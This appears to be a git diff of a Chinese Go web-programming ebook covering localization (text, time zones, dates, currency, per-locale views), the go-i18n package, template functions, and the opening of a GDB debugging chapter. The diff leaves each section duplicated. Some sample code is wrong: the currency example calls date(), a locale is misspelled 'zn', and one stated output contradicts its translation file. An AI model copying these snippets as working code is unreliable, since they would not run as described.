因为时区的关系,同一时刻,在不同的地区,表示是不一样的,而且因为Locale的关系,时间格式也不尽相同,例如中文环境下可能显示:`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点:
|
||||
|
||||
1. 时区问题
|
||||
2. 格式问题
|
||||
|
||||
$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为了获得对应于当前locale的时间,我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale,比如`Asia/Shanghai`或`America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量):
|
||||
|
||||
en["time_zone"]="America/Chicago"
|
||||
cn["time_zone"]="Asia/Shanghai"
|
||||
|
||||
loc,_:=time.LoadLocation(msg(lang,"time_zone"))
|
||||
t:=time.Now()
|
||||
t = t.In(loc)
|
||||
fmt.Println(t.Format(time.RFC3339))
|
||||
|
||||
我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下:
|
||||
|
||||
en["date_format"]="%Y-%m-%d %H:%M:%S"
|
||||
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"
|
||||
|
||||
fmt.Println(date(msg(lang,"date_format"),t))
|
||||
|
||||
func date(fomate string,t time.Time) string{
|
||||
year, month, day = t.Date()
|
||||
hour, min, sec = t.Clock()
|
||||
//解析相应的%Y %m %d %H %M %S然后返回信息
|
||||
//%Y 替换成2012
|
||||
//%m 替换成10
|
||||
//%d 替换成24
|
||||
}
|
||||
|
||||
## 本地化货币值
|
||||
各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码:
|
||||
|
||||
en["money"] ="USD %d"
|
||||
cn["money"] ="¥%d元"
|
||||
|
||||
fmt.Println(date(msg(lang,"date_format"),100))
|
||||
|
||||
func money_format(fomate string,money int64) string{
|
||||
return fmt.Sprintf(fomate,money)
|
||||
}
|
||||
|
||||
|
||||
## 本地化视图和资源
|
||||
我们可能会根据Locale的不同来展示视图,这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢?首先我们应按locale来组织文件信息,请看下面的文件目录安排:
|
||||
|
||||
views
|
||||
|--en //英文模板
|
||||
|--images //存储图片信息
|
||||
|--js //存储JS文件
|
||||
|--css //存储css文件
|
||||
index.tpl //用户首页
|
||||
login.tpl //登陆首页
|
||||
|--zh-CN //中文模板
|
||||
|--images
|
||||
|--js
|
||||
|--css
|
||||
index.tpl
|
||||
login.tpl
|
||||
|
||||
有了这个目录结构后我们就可以在渲染的地方这样来实现代码:
|
||||
|
||||
|
||||
s1, _ := template.ParseFiles("views"+lang+"index.tpl")
|
||||
VV.Lang=lang
|
||||
s1.Execute(os.Stdout, VV)
|
||||
|
||||
而对于里面的index.tpl里面的资源设置如下:
|
||||
|
||||
// js文件
|
||||
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
|
||||
// css文件
|
||||
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
|
||||
// 图片文件
|
||||
<img src="views/{{.VV.Lang}}/images/btn.png">
|
||||
|
||||
采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。
|
||||
|
||||
## 总结
|
||||
本小节介绍了如何使用及存储本地资源,有时需要通过转换函数来实现,有时通过lang来设置,但是最终都是通过key-value的方式来存储Locale对应的数据,在需要时取出相应于Locale的信息后,如果是文本信息就直接输出,如果是时间日期或者货币,则需要先通过`fmt.Printf`或其他格式化函数来处理,而对于不同Locale的视图和资源则是最简单的,只要在路径里面增加lang就可以实现了。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [设置默认地区](<10.1.md>)
|
||||
* 下一节: [国际化站点](<10.3.md>)
|
||||
# 10.2 本地化资源
|
||||
前面小节我们介绍了如何设置Locale,设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢?这里面的信息包括:文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们讲对这些信息一一进行介绍,Go语言中我们把这些格式信息存储在JSON中,然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json)
|
||||
## 本地化文本消息
|
||||
本信息是编写Web应用中最常用到的,也是本地化资源中最多的信息,想要以适合本地语言的方式来显示文本信息,可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系,在输出之前按需从适合的map中去获取相应的文本,如下是一个简单的示例:
|
||||
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
|
||||
var locales map[string]map[string]string
|
||||
|
||||
func main() {
|
||||
locales = make(map[string]map[string]string, 2)
|
||||
en := make(map[string]string, 10)
|
||||
en["pea"] = "pea"
|
||||
en["bean"] = "bean"
|
||||
locales["en"] = en
|
||||
cn := make(map[string]string, 10)
|
||||
cn["pea"] = "豌豆"
|
||||
cn["bean"] = "毛豆"
|
||||
locales["zh-CN"] = cn
|
||||
lang := "zh-CN"
|
||||
fmt.Println(msg(lang, "pea"))
|
||||
fmt.Println(msg(lang, "bean"))
|
||||
}
|
||||
|
||||
func msg(locale, key string) string {
|
||||
if v, ok := locales[locale]; ok {
|
||||
if v2, ok := v[key]; ok {
|
||||
return v2
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
|
||||
上面示例演示了不同locale的文本翻译,实现了中文和英文对于同一个key显示不同语言的实现,上面实现了中文的文本消息,如果想切换到英文版本,只需要把lang设置为en即可。
|
||||
|
||||
有些时候仅是key-value替换是不能满足需要的,例如"I am 30 years old",中文表达是"我今年30岁了",而此处的30是一个变量,该怎么办呢?这个时候,我们可以结合`fmt.Printf`函数来实现,请看下面的代码:
|
||||
|
||||
en["how old"] ="I am %d years old"
|
||||
cn["how old"] ="我今年%d岁了"
|
||||
|
||||
fmt.Printf(msg(lang, "how old"), 30)
|
||||
|
||||
上面的示例代码仅用以演示内部的实现方案,而实际数据是存储在JSON里面的,所以我们可以通过`json.Unmarshal`来为相应的map填充数据。
|
||||
|
||||
## 本地化日期和时间
|
||||
因为时区的关系,同一时刻,在不同的地区,表示是不一样的,而且因为Locale的关系,时间格式也不尽相同,例如中文环境下可能显示:`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点:
|
||||
|
||||
1. 时区问题
|
||||
2. 格式问题
|
||||
|
||||
$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为了获得对应于当前locale的时间,我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale,比如`Asia/Shanghai`或`America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量):
|
||||
|
||||
en["time_zone"]="America/Chicago"
|
||||
cn["time_zone"]="Asia/Shanghai"
|
||||
|
||||
loc,_:=time.LoadLocation(msg(lang,"time_zone"))
|
||||
t:=time.Now()
|
||||
t = t.In(loc)
|
||||
fmt.Println(t.Format(time.RFC3339))
|
||||
|
||||
我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下:
|
||||
|
||||
en["date_format"]="%Y-%m-%d %H:%M:%S"
|
||||
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"
|
||||
|
||||
fmt.Println(date(msg(lang,"date_format"),t))
|
||||
|
||||
func date(fomate string,t time.Time) string{
|
||||
year, month, day = t.Date()
|
||||
hour, min, sec = t.Clock()
|
||||
//解析相应的%Y %m %d %H %M %S然后返回信息
|
||||
//%Y 替换成2012
|
||||
//%m 替换成10
|
||||
//%d 替换成24
|
||||
}
|
||||
|
||||
## 本地化货币值
|
||||
各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码:
|
||||
|
||||
en["money"] ="USD %d"
|
||||
cn["money"] ="¥%d元"
|
||||
|
||||
fmt.Println(date(msg(lang,"date_format"),100))
|
||||
|
||||
func money_format(fomate string,money int64) string{
|
||||
return fmt.Sprintf(fomate,money)
|
||||
}
|
||||
|
||||
|
||||
## 本地化视图和资源
|
||||
我们可能会根据Locale的不同来展示视图,这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢?首先我们应按locale来组织文件信息,请看下面的文件目录安排:
|
||||
|
||||
views
|
||||
|--en //英文模板
|
||||
|--images //存储图片信息
|
||||
|--js //存储JS文件
|
||||
|--css //存储css文件
|
||||
index.tpl //用户首页
|
||||
login.tpl //登陆首页
|
||||
|--zh-CN //中文模板
|
||||
|--images
|
||||
|--js
|
||||
|--css
|
||||
index.tpl
|
||||
login.tpl
|
||||
|
||||
有了这个目录结构后我们就可以在渲染的地方这样来实现代码:
|
||||
|
||||
|
||||
s1, _ := template.ParseFiles("views"+lang+"index.tpl")
|
||||
VV.Lang=lang
|
||||
s1.Execute(os.Stdout, VV)
|
||||
|
||||
而对于里面的index.tpl里面的资源设置如下:
|
||||
|
||||
// js文件
|
||||
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
|
||||
// css文件
|
||||
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
|
||||
// 图片文件
|
||||
<img src="views/{{.VV.Lang}}/images/btn.png">
|
||||
|
||||
采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。
|
||||
|
||||
## 总结
|
||||
本小节介绍了如何使用及存储本地资源,有时需要通过转换函数来实现,有时通过lang来设置,但是最终都是通过key-value的方式来存储Locale对应的数据,在需要时取出相应于Locale的信息后,如果是文本信息就直接输出,如果是时间日期或者货币,则需要先通过`fmt.Printf`或其他格式化函数来处理,而对于不同Locale的视图和资源则是最简单的,只要在路径里面增加lang就可以实现了。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [设置默认地区](<10.1.md>)
|
||||
* 下一节: [国际化站点](<10.3.md>)
|
||||
360
10.3.md → ebook/10.3.md
Executable file → Normal file
360
10.3.md → ebook/10.3.md
Executable file → Normal file
@@ -1,180 +1,180 @@
|
||||
# 10.3 国际化站点
|
||||
前面小节介绍了如何处理本地化资源,即Locale一个相应的配置文件,那么如果处理多个的本地化资源呢?而对于一些我们经常用到的例如:简单的文本翻译、时间日期、数字等如果处理呢?本小节将一一解决这些问题。
|
||||
## 管理多个本地包
|
||||
在开发一个应用的时候,首先我们要决定是只支持一种语言,还是多种语言,如果要支持多种语言,我们则需要制定一个组织结构,以方便将来更多语言的添加。在此我们设计如下:Locale有关的文件放置在config/locales下,假设你要支持中文和英文,那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示:
|
||||
|
||||
# zh.json
|
||||
|
||||
{
|
||||
"zh": {
|
||||
"submit": "提交",
|
||||
"create": "创建"
|
||||
}
|
||||
}
|
||||
|
||||
#en.json
|
||||
|
||||
{
|
||||
"en": {
|
||||
"submit": "Submit",
|
||||
"create": "Create"
|
||||
}
|
||||
}
|
||||
|
||||
为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n),首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件
|
||||
|
||||
Tr:=i18n.NewLocale()
|
||||
Tr.LoadPath("config/locales")
|
||||
|
||||
这个包使用起来很简单,你可以通过下面的方式进行测试:
|
||||
|
||||
fmt.Println(Tr.Translate("submit"))
|
||||
//输出Submit
|
||||
Tr.SetLocale("zn")
|
||||
fmt.Println(Tr.Translate("submit"))
|
||||
//输出“递交”
|
||||
|
||||
## 自动加载本地包
|
||||
上面我们介绍了如何自动加载自定义语言包,其实go-i18n库已经预加载了很多默认的格式信息,例如时间格式、货币格式,用户可以在自定义配置时改写这些默认配置,请看下面的处理过程:
|
||||
|
||||
|
||||
//加载默认配置文件,这些文件都放在go-i18n/locales下面
|
||||
|
||||
//文件命名zh.json、en-json、en-US.json等,可以不断的扩展支持更多的语言
|
||||
|
||||
func (il *IL) loadDefaultTranslations(dirPath string) error {
|
||||
dir, err := os.Open(dirPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer dir.Close()
|
||||
|
||||
names, err := dir.Readdirnames(-1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, name := range names {
|
||||
fullPath := path.Join(dirPath, name)
|
||||
|
||||
fi, err := os.Stat(fullPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if fi.IsDir() {
|
||||
if err := il.loadTranslations(fullPath); err != nil {
|
||||
return err
|
||||
}
|
||||
} else if locale := il.matchingLocaleFromFileName(name); locale != "" {
|
||||
file, err := os.Open(fullPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
if err := il.loadTranslation(file, locale); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息:
|
||||
|
||||
//locale=zh的情况下,执行如下代码:
|
||||
|
||||
fmt.Println(Tr.Time(time.Now()))
|
||||
//输出:2009年1月08日 星期四 20:37:58 CST
|
||||
|
||||
fmt.Println(Tr.Time(time.Now(),"long"))
|
||||
//输出:2009年1月08日
|
||||
|
||||
fmt.Println(Tr.Money(11.11))
|
||||
//输出:¥11.11
|
||||
|
||||
## template mapfunc
|
||||
上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出,但是如果我们想在模版层直接使用这些函数该怎么实现呢?不知你是否还记得,在前面介绍模板的时候说过:Go语言的模板支持自定义模板函数,下面是我们实现的方便操作的mapfunc:
|
||||
|
||||
1. 文本信息
|
||||
|
||||
文本信息调用`Tr.Translate`来实现相应的信息转换,mapFunc的实现如下:
|
||||
|
||||
func I18nT(args ...interface{}) string {
|
||||
ok := false
|
||||
var s string
|
||||
if len(args) == 1 {
|
||||
s, ok = args[0].(string)
|
||||
}
|
||||
if !ok {
|
||||
s = fmt.Sprint(args...)
|
||||
}
|
||||
return Tr.Translate(s)
|
||||
}
|
||||
|
||||
注册函数如下:
|
||||
|
||||
t.Funcs(template.FuncMap{"T": I18nT})
|
||||
|
||||
模板中使用如下:
|
||||
|
||||
{{.V.Submit | T}}
|
||||
|
||||
|
||||
2. 时间日期
|
||||
|
||||
时间日期调用`Tr.Time`函数来实现相应的时间转换,mapFunc的实现如下:
|
||||
|
||||
func I18nTimeDate(args ...interface{}) string {
|
||||
ok := false
|
||||
var s string
|
||||
if len(args) == 1 {
|
||||
s, ok = args[0].(string)
|
||||
}
|
||||
if !ok {
|
||||
s = fmt.Sprint(args...)
|
||||
}
|
||||
return Tr.Time(s)
|
||||
}
|
||||
|
||||
注册函数如下:
|
||||
|
||||
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
|
||||
|
||||
模板中使用如下:
|
||||
|
||||
{{.V.Now | TD}}
|
||||
|
||||
3. 货币信息
|
||||
|
||||
货币调用`Tr.Money`函数来实现相应的时间转换,mapFunc的实现如下:
|
||||
|
||||
func I18nMoney(args ...interface{}) string {
|
||||
ok := false
|
||||
var s string
|
||||
if len(args) == 1 {
|
||||
s, ok = args[0].(string)
|
||||
}
|
||||
if !ok {
|
||||
s = fmt.Sprint(args...)
|
||||
}
|
||||
return Tr.Money(s)
|
||||
}
|
||||
|
||||
注册函数如下:
|
||||
|
||||
t.Funcs(template.FuncMap{"M": I18nMoney})
|
||||
|
||||
模板中使用如下:
|
||||
|
||||
{{.V.Money | M}}
|
||||
|
||||
## 总结
|
||||
通过这小节我们知道了如何实现一个多语言包的Web应用,通过自定义语言包我们可以方便的实现多语言,而且通过配置文件能够非常方便的扩充多语言,默认情况下,go-i18n会自定加载一些公共的配置信息,例如时间、货币等,我们就可以非常方便的使用,同时为了支持在模板中使用这些函数,也实现了相应的模板函数,这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [本地化资源](<10.2.md>)
|
||||
* 下一节: [小结](<10.4.md>)
|
||||
# 10.3 国际化站点
|
||||
前面小节介绍了如何处理本地化资源,即Locale一个相应的配置文件,那么如果处理多个的本地化资源呢?而对于一些我们经常用到的例如:简单的文本翻译、时间日期、数字等如果处理呢?本小节将一一解决这些问题。
|
||||
## 管理多个本地包
|
||||
在开发一个应用的时候,首先我们要决定是只支持一种语言,还是多种语言,如果要支持多种语言,我们则需要制定一个组织结构,以方便将来更多语言的添加。在此我们设计如下:Locale有关的文件放置在config/locales下,假设你要支持中文和英文,那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示:
|
||||
|
||||
# zh.json
|
||||
|
||||
{
|
||||
"zh": {
|
||||
"submit": "提交",
|
||||
"create": "创建"
|
||||
}
|
||||
}
|
||||
|
||||
#en.json
|
||||
|
||||
{
|
||||
"en": {
|
||||
"submit": "Submit",
|
||||
"create": "Create"
|
||||
}
|
||||
}
|
||||
|
||||
为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n),首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件
|
||||
|
||||
Tr:=i18n.NewLocale()
|
||||
Tr.LoadPath("config/locales")
|
||||
|
||||
这个包使用起来很简单,你可以通过下面的方式进行测试:
|
||||
|
||||
fmt.Println(Tr.Translate("submit"))
|
||||
//输出Submit
|
||||
Tr.SetLocale("zn")
|
||||
fmt.Println(Tr.Translate("submit"))
|
||||
//输出“递交”
|
||||
|
||||
## 自动加载本地包
|
||||
上面我们介绍了如何自动加载自定义语言包,其实go-i18n库已经预加载了很多默认的格式信息,例如时间格式、货币格式,用户可以在自定义配置时改写这些默认配置,请看下面的处理过程:
|
||||
|
||||
|
||||
//加载默认配置文件,这些文件都放在go-i18n/locales下面
|
||||
|
||||
//文件命名zh.json、en-json、en-US.json等,可以不断的扩展支持更多的语言
|
||||
|
||||
func (il *IL) loadDefaultTranslations(dirPath string) error {
|
||||
dir, err := os.Open(dirPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer dir.Close()
|
||||
|
||||
names, err := dir.Readdirnames(-1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, name := range names {
|
||||
fullPath := path.Join(dirPath, name)
|
||||
|
||||
fi, err := os.Stat(fullPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if fi.IsDir() {
|
||||
if err := il.loadTranslations(fullPath); err != nil {
|
||||
return err
|
||||
}
|
||||
} else if locale := il.matchingLocaleFromFileName(name); locale != "" {
|
||||
file, err := os.Open(fullPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
if err := il.loadTranslation(file, locale); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息:
|
||||
|
||||
//locale=zh的情况下,执行如下代码:
|
||||
|
||||
fmt.Println(Tr.Time(time.Now()))
|
||||
//输出:2009年1月08日 星期四 20:37:58 CST
|
||||
|
||||
fmt.Println(Tr.Time(time.Now(),"long"))
|
||||
//输出:2009年1月08日
|
||||
|
||||
fmt.Println(Tr.Money(11.11))
|
||||
//输出:¥11.11
|
||||
|
||||
## template mapfunc
|
||||
上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出,但是如果我们想在模版层直接使用这些函数该怎么实现呢?不知你是否还记得,在前面介绍模板的时候说过:Go语言的模板支持自定义模板函数,下面是我们实现的方便操作的mapfunc:
|
||||
|
||||
1. 文本信息
|
||||
|
||||
文本信息调用`Tr.Translate`来实现相应的信息转换,mapFunc的实现如下:
|
||||
|
||||
func I18nT(args ...interface{}) string {
|
||||
ok := false
|
||||
var s string
|
||||
if len(args) == 1 {
|
||||
s, ok = args[0].(string)
|
||||
}
|
||||
if !ok {
|
||||
s = fmt.Sprint(args...)
|
||||
}
|
||||
return Tr.Translate(s)
|
||||
}
|
||||
|
||||
注册函数如下:
|
||||
|
||||
t.Funcs(template.FuncMap{"T": I18nT})
|
||||
|
||||
模板中使用如下:
|
||||
|
||||
{{.V.Submit | T}}
|
||||
|
||||
|
||||
2. 时间日期
|
||||
|
||||
时间日期调用`Tr.Time`函数来实现相应的时间转换,mapFunc的实现如下:
|
||||
|
||||
func I18nTimeDate(args ...interface{}) string {
|
||||
ok := false
|
||||
var s string
|
||||
if len(args) == 1 {
|
||||
s, ok = args[0].(string)
|
||||
}
|
||||
if !ok {
|
||||
s = fmt.Sprint(args...)
|
||||
}
|
||||
return Tr.Time(s)
|
||||
}
|
||||
|
||||
注册函数如下:
|
||||
|
||||
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
|
||||
|
||||
模板中使用如下:
|
||||
|
||||
{{.V.Now | TD}}
|
||||
|
||||
3. 货币信息
|
||||
|
||||
货币调用`Tr.Money`函数来实现相应的时间转换,mapFunc的实现如下:
|
||||
|
||||
func I18nMoney(args ...interface{}) string {
|
||||
ok := false
|
||||
var s string
|
||||
if len(args) == 1 {
|
||||
s, ok = args[0].(string)
|
||||
}
|
||||
if !ok {
|
||||
s = fmt.Sprint(args...)
|
||||
}
|
||||
return Tr.Money(s)
|
||||
}
|
||||
|
||||
注册函数如下:
|
||||
|
||||
t.Funcs(template.FuncMap{"M": I18nMoney})
|
||||
|
||||
模板中使用如下:
|
||||
|
||||
{{.V.Money | M}}
|
||||
|
||||
## 总结
|
||||
通过这小节我们知道了如何实现一个多语言包的Web应用,通过自定义语言包我们可以方便的实现多语言,而且通过配置文件能够非常方便的扩充多语言,默认情况下,go-i18n会自定加载一些公共的配置信息,例如时间、货币等,我们就可以非常方便的使用,同时为了支持在模板中使用这些函数,也实现了相应的模板函数,这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [本地化资源](<10.2.md>)
|
||||
* 下一节: [小结](<10.4.md>)
|
||||
12
10.4.md → ebook/10.4.md
Executable file → Normal file
12
10.4.md → ebook/10.4.md
Executable file → Normal file
@@ -1,6 +1,6 @@
|
||||
# 10.4 小结
|
||||
通过这一章的介绍,读者应该对如何操作i18n有了深入的了解,我也根据这一章介绍的内容实现了一个开源的解决方案go-i18n:https://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用,使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方,请一起参与到这个开源项目中来,让我们的这个库争取成为Go的标准库。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [国际化站点](<10.3.md>)
|
||||
* 下一节: [错误处理,故障排除和测试](<11.0.md>)
|
||||
# 10.4 小结
|
||||
通过这一章的介绍,读者应该对如何操作i18n有了深入的了解,我也根据这一章介绍的内容实现了一个开源的解决方案go-i18n:https://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用,使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方,请一起参与到这个开源项目中来,让我们的这个库争取成为Go的标准库。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [国际化站点](<10.3.md>)
|
||||
* 下一节: [错误处理,故障排除和测试](<11.0.md>)
|
||||
36
11.0.md → ebook/11.0.md
Executable file → Normal file
36
11.0.md → ebook/11.0.md
Executable file → Normal file
@@ -1,19 +1,19 @@
|
||||
# 11 错误处理,调试和测试
|
||||
我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统,几乎都是花费大量的时间在进行故障排除和测试,外界都觉得我们程序员是设计师,能够把一个系统从无做到有,是一项很伟大的工作,而且是相当有趣的工作,但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题,那么你就有可能将排错时间减到最少,而尽可能的将时间花费在更有价值的事情上。
|
||||
|
||||
但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。
|
||||
|
||||
开发Web应用过程中,错误自然难免,那么如何更好的找到错误原因,解决问题呢?11.1小节将介绍Go语言中如何处理错误,如何设计自己的包、函数的错误处理,11.2小节将介绍如何使用GDB来调试我们的程序,动态运行情况下各种变量信息,运行情况的监控和调试。
|
||||
|
||||
11.3小节将对Go语言中的单元测试进行深入的探讨,并示例如何来编写单元测试,Go的单元测试规则规范如何定义,以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。
|
||||
|
||||
长期以来,培养良好的调试、测试习惯一直是很多程序员逃避的事情,所以现在你不要再逃避了,就从你现在的项目开发,从学习Go Web开发开始养成良好的习惯。
|
||||
|
||||
## 目录
|
||||
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第十章总结](<10.4.md>)
|
||||
# 11 错误处理,调试和测试
|
||||
我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统,几乎都是花费大量的时间在进行故障排除和测试,外界都觉得我们程序员是设计师,能够把一个系统从无做到有,是一项很伟大的工作,而且是相当有趣的工作,但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题,那么你就有可能将排错时间减到最少,而尽可能的将时间花费在更有价值的事情上。
|
||||
|
||||
但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。
|
||||
|
||||
开发Web应用过程中,错误自然难免,那么如何更好的找到错误原因,解决问题呢?11.1小节将介绍Go语言中如何处理错误,如何设计自己的包、函数的错误处理,11.2小节将介绍如何使用GDB来调试我们的程序,动态运行情况下各种变量信息,运行情况的监控和调试。
|
||||
|
||||
11.3小节将对Go语言中的单元测试进行深入的探讨,并示例如何来编写单元测试,Go的单元测试规则规范如何定义,以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。
|
||||
|
||||
长期以来,培养良好的调试、测试习惯一直是很多程序员逃避的事情,所以现在你不要再逃避了,就从你现在的项目开发,从学习Go Web开发开始养成良好的习惯。
|
||||
|
||||
## 目录
|
||||
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第十章总结](<10.4.md>)
|
||||
* 下一节: [错误处理](<11.1.md>)
|
||||
0
11.1.md → ebook/11.1.md
Executable file → Normal file
0
11.1.md → ebook/11.1.md
Executable file → Normal file
498
11.2.md → ebook/11.2.md
Executable file → Normal file
498
11.2.md → ebook/11.2.md
Executable file → Normal file
@@ -1,249 +1,249 @@
|
||||
# 11.2 使用GDB调试
|
||||
开发程序过程中调试代码是开发者经常要做的一件事情,Go语言不像PHP、Python等动态语言,只要修改不需要编译就可以直接输出,而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试,但是每次都需要重新编译,这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试,Javascript也有类似工具,这些工具都能够动态的显示变量信息,单步调试等。不过庆幸的是Go也有类似的工具支持:GDB。Go内部已经内置支持了GDB,所以,我们可以通过GDB来进行调试,那么本小节就来介绍一下如何通过GDB来调试Go程序。
|
||||
|
||||
## GDB调试简介
|
||||
GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情:
|
||||
|
||||
1. 启动程序,可以按照开发者的自定义要求运行程序。
|
||||
2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式)
|
||||
3. 当程序被停住时,可以检查此时程序中所发生的事。
|
||||
4. 动态的改变当前程序的执行环境。
|
||||
|
||||
目前支持调试Go程序的GDB版本必须大于7.1。
|
||||
|
||||
编译Go程序的时候需要注意以下几点
|
||||
|
||||
1. 传递参数-ldflags "-s",忽略debug的打印信息
|
||||
2. 传递-gcflags "-N -l" 参数,这样可以忽略Go内部做的一些优化,聚合变量和函数等优化,这样对于GDB调试来说非常困难,所以在编译的时候加入这两个参数避免这些优化。
|
||||
|
||||
## 常用命令
|
||||
GDB的一些常用命令如下所示
|
||||
|
||||
- list
|
||||
|
||||
简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`,显示十行代码,其中第15行在显示的十行里面的中间,如下所示。
|
||||
|
||||
10 time.Sleep(2 * time.Second)
|
||||
11 c <- i
|
||||
12 }
|
||||
13 close(c)
|
||||
14 }
|
||||
15
|
||||
16 func main() {
|
||||
17 msg := "Starting main"
|
||||
18 fmt.Println(msg)
|
||||
19 bus := make(chan int)
|
||||
|
||||
|
||||
- break
|
||||
|
||||
简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。
|
||||
|
||||
- delete
|
||||
简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。
|
||||
|
||||
Num Type Disp Enb Address What
|
||||
